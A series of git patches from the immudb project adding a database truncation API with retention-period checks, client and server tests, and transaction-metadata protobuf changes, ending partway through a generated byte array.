+28,7 @@ import ( var ( // ErrNoTxBeforeTime is returned when retention period is not reached. - ErrRetentionPeriodNotReached = errors.New("retention period not reached") + ErrRetentionPeriodNotReached = errors.New("retention period has not been reached") ) // Truncator provides truncation against an underlying storage diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 9af0973c71..34d6dc1d68 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -239,3 +239,7 @@ func (db *closedDB) IsClosed() bool { func (db *closedDB) Close() error { return store.ErrAlreadyClosed } + +func (db *closedDB) Truncate(ts time.Duration) error { + return store.ErrAlreadyClosed +} diff --git a/pkg/server/server.go b/pkg/server/server.go index f902fe3573..3abc169ffb 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1586,3 +1586,65 @@ func (s *ImmuServer) mandatoryAuth() bool { //systemdb exists but there are no other users created return false } + +func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (res *schema.TruncateDatabaseResponse, err error) { + if req == nil { + return nil, ErrIllegalArguments + } + + s.Logger.Infof("Truncating database '%s'...", req.Database) + + defer func() { + if err == nil { + s.Logger.Infof("Database '%s' succesfully truncated", req.Database) + } else { + s.Logger.Infof("Database '%s' could not be truncated. Reason: %v", req.Database, err) + } + }() + + if !s.Options.GetAuth() { + return nil, ErrAuthMustBeEnabled + } + + if req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName { + return nil, ErrReservedDatabase + } + + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + //if the requesting user has admin permission on this database + if (!user.IsSysAdmin) && + (!user.HasPermission(req.Database, auth.PermissionAdmin)) { + return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) + } + + if req.RetentionPeriod == nil { + return nil, fmt.Errorf("retention period can not be empty for database '%s'", req.Database) + } + if req.RetentionPeriod.Value < 0 || (req.RetentionPeriod.Value > 0 && req.RetentionPeriod.Value < (store.MinimumRetentionPeriod.Milliseconds())) { + return nil, fmt.Errorf( + "%w: invalid retention period for database '%s'. RetentionPeriod should at least 1 day", + ErrIllegalArguments, req.Database) + } + + s.dbListMutex.Lock() + defer s.dbListMutex.Unlock() + + db, err := s.dbList.GetByName(req.Database) + if err != nil { + return nil, err + } + + rp := time.Duration(req.RetentionPeriod.Value) * time.Millisecond + err = db.Truncate(rp) + if err != nil { + return nil, err + } + + return &schema.TruncateDatabaseResponse{ + Database: req.Database, + }, nil +} diff --git a/pkg/server/servertest/server_mock.go b/pkg/server/servertest/server_mock.go index 5bc14663cc..12fc437b44 100644 --- a/pkg/server/servertest/server_mock.go +++ b/pkg/server/servertest/server_mock.go @@ -378,3 +378,7 @@ func (s *ServerMock) DescribeTable(ctx context.Context, req *schema.Table) (*sch func (s *ServerMock) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { return s.Srv.VerifiableSQLGet(ctx, req) } + +func (s *ServerMock) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) { + return s.Srv.TruncateDatabase(ctx, req) +} From 57f186a4dcb0696254551295a7c0914b496aef3b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 19 Jan 2023 08:46:38 +0530 Subject: [PATCH 0171/1062] chore(pkg): add more tests admin truncate command --- cmd/immuadmin/command/database.go | 7 +-- pkg/client/client.go | 15 ++++-- pkg/client/client_test.go | 20 +++++++ pkg/client/session_test.go | 6 +++ pkg/database/database_test.go | 65 +++++++++++++++++++++++ pkg/server/db_dummy_closed_test.go | 4 +- pkg/server/db_options.go | 8 +-- pkg/server/server.go | 4 +- pkg/server/server_test.go | 85 ++++++++++++++++++++++++++++++ 9 files changed, 197 insertions(+), 17 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 7b6b355a86..409ca34707 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -320,7 +320,7 @@ func (cl *commandline) database(cmd *cobra.Command) { truncateCmd := &cobra.Command{ Use: "truncate", Short: "Truncate database (unrecoverable operation)", - Example: "delete --yes-i-know-what-i-am-doing {database_name}", + Example: "truncate --yes-i-know-what-i-am-doing {database_name} --retention-period {retention_period}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { @@ -341,10 +341,7 @@ func (cl *commandline) database(cmd *cobra.Command) { fmt.Fprintf(cmd.OutOrStdout(), "truncating database '%s' up to retention period '%s'...\n", args[0], retentionPeriod.String()) - _, err = cl.immuClient.TruncateDatabase(cl.context, &schema.TruncateDatabaseRequest{ - Database: args[0], - RetentionPeriod: &schema.NullableMilliseconds{Value: retentionPeriod.Milliseconds()}, - }) + err = cl.immuClient.TruncateDatabase(cl.context, args[0], retentionPeriod) if err != nil { return err } diff --git a/pkg/client/client.go b/pkg/client/client.go index 7c6ea50b70..b6103c8a0e 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -510,7 +510,7 @@ type ImmuClient interface { // This truncates the locally stored value log files used by the database. // // This call requires SysAdmin permission level or admin permission to the database. - TruncateDatabase(ctx context.Context, r *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) + TruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error } const DefaultDB = "defaultdb" @@ -2325,16 +2325,21 @@ func decodeTxEntries(entries []*schema.TxEntry) { } // TruncateDatabase truncates the database to the given retention period. -func (c *immuClient) TruncateDatabase(ctx context.Context, r *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) { +func (c *immuClient) TruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error { start := time.Now() if !c.IsConnected() { - return nil, ErrNotConnected + return ErrNotConnected + } + + in := &schema.TruncateDatabaseRequest{ + Database: db, + RetentionPeriod: &schema.NullableMilliseconds{Value: retentionPeriod.Milliseconds()}, } - res, err := c.ServiceClient.TruncateDatabase(ctx, r) + _, err := c.ServiceClient.TruncateDatabase(ctx, in) c.Logger.Debugf("TruncateDatabase finished in %s", time.Since(start)) - return res, err + return err } diff --git a/pkg/client/client_test.go b/pkg/client/client_test.go index 9469ba1786..93e6c8e289 100644 --- a/pkg/client/client_test.go +++ b/pkg/client/client_test.go @@ -17,12 +17,16 @@ limitations under the License. package client import ( + "context" "fmt" "os" "testing" + "time" + "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" + "google.golang.org/grpc" ) func TestLogErr(t *testing.T) { @@ -33,3 +37,19 @@ func TestLogErr(t *testing.T) { err := fmt.Errorf("expected error") require.Error(t, logErr(logger, "error: %v", err)) } + +func TestImmuClient_Truncate(t *testing.T) { + c := NewClient().WithOptions(DefaultOptions().WithDir("false")) + c.ServiceClient = &immuServiceClientMock{ + TruncateF: func(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) { + return &schema.TruncateDatabaseResponse{ + Database: "test", + }, nil + }, + } + + st := time.Now().Add(-24 * time.Hour) + dur := time.Since(st) + err := c.TruncateDatabase(context.TODO(), "defaultdb", dur) + require.Error(t, err) +} diff --git a/pkg/client/session_test.go b/pkg/client/session_test.go index bc29fa9d2c..6446b02f67 100644 --- a/pkg/client/session_test.go +++ b/pkg/client/session_test.go @@ -89,11 +89,17 @@ type immuServiceClientMock struct { schema.ImmuServiceClient OpenSessionF func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) KeepAliveF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + TruncateF func(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) } func (icm *immuServiceClientMock) OpenSession(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) { return icm.OpenSessionF(ctx, in, opts...) } + func (icm *immuServiceClientMock) KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.KeepAliveF(ctx, in, opts...) } + +func (icm *immuServiceClientMock) TruncateDatabase(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) { + return icm.TruncateF(ctx, in, opts...) +} diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index a831c3d4fd..b61e9ca48f 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2265,6 +2265,13 @@ func Test_getRetentionPeriod(t *testing.T) { }, want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), }, + { + args: args{ + ts: time.Date(2020, 1, 1, 11, 20, 30, 40, time.UTC), + retentionPeriod: 0, + }, + want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { @@ -2274,3 +2281,61 @@ func Test_getRetentionPeriod(t *testing.T) { }) } } + +func TestDatabase_truncate_with_duration(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.MaxIOConcurrency = 1 + + db := makeDbWith(t, "db", options) + + t.Run("truncate with duration", func(t *testing.T) { + var queryTime time.Time + for i := 2; i <= 20; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + if i == 10 { + queryTime = time.Now() + } + } + + c := newVlogTruncator(db) + hdr, err := c.Plan(queryTime) + require.NoError(t, err) + require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) + + dur := time.Since(queryTime) + err = db.Truncate(dur) + require.NoError(t, err) + + for i := hdr.ID; i <= 20; i++ { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.NoError(t, err) + } + } + }) + + t.Run("truncate with retention period in the past", func(t *testing.T) { + ts := time.Now().Add(-24 * time.Hour) + dur := time.Since(ts) + err := db.Truncate(dur) + require.ErrorIs(t, err, ErrRetentionPeriodNotReached) + }) + + t.Run("truncate with retention period in the future", func(t *testing.T) { + ts := time.Now().Add(24 * time.Hour) + dur := time.Since(ts) + err := db.Truncate(dur) + require.ErrorIs(t, err, store.ErrTxNotFound) + }) + +} diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index c594b05ea0..17cac16808 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -165,9 +165,11 @@ func TestDummyClosedDatabase(t *testing.T) { err = cdb.CompactIndex() require.ErrorIs(t, err, store.ErrAlreadyClosed) - require.True(t, cdb.IsClosed()) + err = cdb.Truncate(0) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + err = cdb.Close() require.ErrorIs(t, err, store.ErrAlreadyClosed) } diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index facf4783ef..ac02e0c0a2 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -752,14 +752,14 @@ func (opts *dbOptions) Validate() error { if opts.RetentionPeriod < 0 || (opts.RetentionPeriod > 0 && opts.RetentionPeriod < Milliseconds(store.MinimumRetentionPeriod.Milliseconds())) { return fmt.Errorf( - "%w: invalid retention period for database '%s'. RetentionPeriod should at least 1 day", - ErrIllegalArguments, opts.Database) + "%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours", + ErrIllegalArguments, opts.Database, store.MinimumRetentionPeriod.Hours()) } if opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) { return fmt.Errorf( - "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least 1 hour", - ErrIllegalArguments, opts.Database) + "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least '%v' hours", + ErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours()) } return opts.storeOptions().Validate() diff --git a/pkg/server/server.go b/pkg/server/server.go index 3abc169ffb..f4e7f2887a 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1626,8 +1626,8 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD } if req.RetentionPeriod.Value < 0 || (req.RetentionPeriod.Value > 0 && req.RetentionPeriod.Value < (store.MinimumRetentionPeriod.Milliseconds())) { return nil, fmt.Errorf( - "%w: invalid retention period for database '%s'. RetentionPeriod should at least 1 day", - ErrIllegalArguments, req.Database) + "%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours", + ErrIllegalArguments, req.Database, store.MinimumRetentionPeriod) } s.dbListMutex.Lock() diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 43d37d54af..2eabc0f6c1 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2032,3 +2032,88 @@ func TestServerMaintenanceMode(t *testing.T) { err = s.StreamExecAll(nil) require.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error()) } + +func TestServerDatabaseTruncate(t *testing.T) { + dir := t.TempDir() + opts := DefaultOptions().WithDir(dir) + + s := DefaultServer() + s.WithOptions(opts) + + s.Initialize() + + r := &schema.LoginRequest{ + User: []byte(auth.SysAdminUsername), + Password: []byte(auth.SysAdminPassword), + } + + ctx := context.Background() + lr, err := s.Login(ctx, r) + require.NoError(t, err) + + md := metadata.Pairs("authorization", lr.Token) + ctx = metadata.NewIncomingContext(context.Background(), md) + + t.Run("attempt to delete without retention period should fail", func(t *testing.T) { + _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ + Name: "db1", + }) + require.NoError(t, err) + + _, err = s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) + require.NoError(t, err) + + _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{}) + require.Error(t, err) + }) + + t.Run("attempt to delete without database should fail", func(t *testing.T) { + _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{}) + require.Error(t, err) + }) + + t.Run("attempt to delete with retention period < 0 should fail", func(t *testing.T) { + _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ + Database: "db1", + RetentionPeriod: &schema.NullableMilliseconds{Value: -1}, + }) + require.Error(t, err) + }) + + t.Run("attempt to delete with retention period < 1 day should fail", func(t *testing.T) { + rp := 23 * time.Hour + _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ + Database: "db1", + RetentionPeriod: &schema.NullableMilliseconds{Value: rp.Milliseconds()}, + }) + require.Error(t, err) + }) + + t.Run("attempt to delete with retention period >= 1 day should fail if retention period is not reached", func(t *testing.T) { + uR, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) + require.NoError(t, err) + + for i := 0; i < 64; i++ { + md := metadata.Pairs("authorization", uR.Token) + ctx := metadata.NewIncomingContext(context.Background(), md) + + _, err = s.Set(ctx, &schema.SetRequest{ + KVs: []*schema.KeyValue{ + { + Key: []byte(fmt.Sprintf("key%d", i)), + Value: []byte(fmt.Sprintf("value%d", i)), + }, + }, + }) + require.NoError(t, err) + } + + rp := 24 * time.Hour + + _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ + Database: "db1", + RetentionPeriod: &schema.NullableMilliseconds{Value: rp.Milliseconds()}, + }) + require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) + }) +} From d7ad16e15486e521706b45bb9fcb53d4e031d55d Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 16 Jan 2023 05:11:51 +0530 Subject: [PATCH 0172/1062] chore(embedded/store): add min limit for truncation frequency --- pkg/server/db_options.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index ac02e0c0a2..1f733ed1ed 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -762,6 +762,12 @@ func (opts *dbOptions) Validate() error { ErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours()) } + if opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) { + return fmt.Errorf( + "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least 1 hour", + ErrIllegalArguments, opts.Database) + } + return opts.storeOptions().Validate() } From 3adc4f916d0f4229c430fc54d076972696aaab08 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 16 Jan 2023 17:14:30 +0530 Subject: [PATCH 0173/1062] chore(pkg/api): add tx metadata conversion --- pkg/api/schema/database_protoconv.go | 16 +- pkg/api/schema/docs.md | 6 + pkg/api/schema/schema.pb.go | 2734 +++++++++++++------------- pkg/api/schema/schema.proto | 8 +- pkg/api/schema/schema.swagger.json | 11 + pkg/server/db_options.go | 8 +- 6 files changed, 1418 insertions(+), 1365 deletions(-) diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index c0c9a17901..0c7aa79e19 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -164,7 +164,14 @@ func TxMetadataToProto(md *store.TxMetadata) *TxMetadata { return nil } - return &TxMetadata{} + txmd := &TxMetadata{} + if md.HasTruncatedTxID() { + txmd.HasTruncatedTxID = md.HasTruncatedTxID() + txID, _ := md.GetTruncatedTxID() + txmd.TruncatedTxID = txID + } + + return txmd } func LinearProofToProto(linearProof *store.LinearProof) *LinearProof { @@ -225,7 +232,12 @@ func TxMetadataFromProto(md *TxMetadata) *store.TxMetadata { return nil } - return &store.TxMetadata{} + txmd := store.NewTxMetadata() + if md.HasTruncatedTxID { + txmd.WithTruncatedTxID(md.TruncatedTxID) + } + + return txmd } func LinearProofFromProto(lproof *LinearProof) *store.LinearProof { diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 7c730d8d8d..e306b9b271 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1847,6 +1847,12 @@ ServerInfoResponse contains information about the server instance. TxMetadata contains metadata set to whole transaction +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| hasTruncatedTxID | [bool](#bool) | | True if this metadata has a truncated transaction | +| truncatedTxID | [uint64](#uint64) | | Entry expiration information | + + diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 67e58c30d0..8eedd09e1b 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -2046,6 +2046,11 @@ type TxMetadata struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields + + // True if this metadata has a truncated transaction + HasTruncatedTxID bool `protobuf:"varint,1,opt,name=hasTruncatedTxID,proto3" json:"hasTruncatedTxID,omitempty"` + // Entry expiration information + TruncatedTxID uint64 `protobuf:"varint,2,opt,name=truncatedTxID,proto3" json:"truncatedTxID,omitempty"` } func (x *TxMetadata) Reset() { @@ -2080,6 +2085,20 @@ func (*TxMetadata) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{27} } +func (x *TxMetadata) GetHasTruncatedTxID() bool { + if x != nil { + return x.HasTruncatedTxID + } + return false +} + +func (x *TxMetadata) GetTruncatedTxID() uint64 { + if x != nil { + return x.TruncatedTxID + } + return 0 +} + // LinearProof contains the linear part of the proof (outside the main Merkle Tree) type LinearProof struct { state protoimpl.MessageState @@ -8719,1410 +8738,1415 @@ var file_schema_proto_rawDesc = []byte{ 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x0c, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, - 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, - 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, - 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, - 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, - 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, - 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, - 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, - 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, - 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, - 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, - 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, - 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, - 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 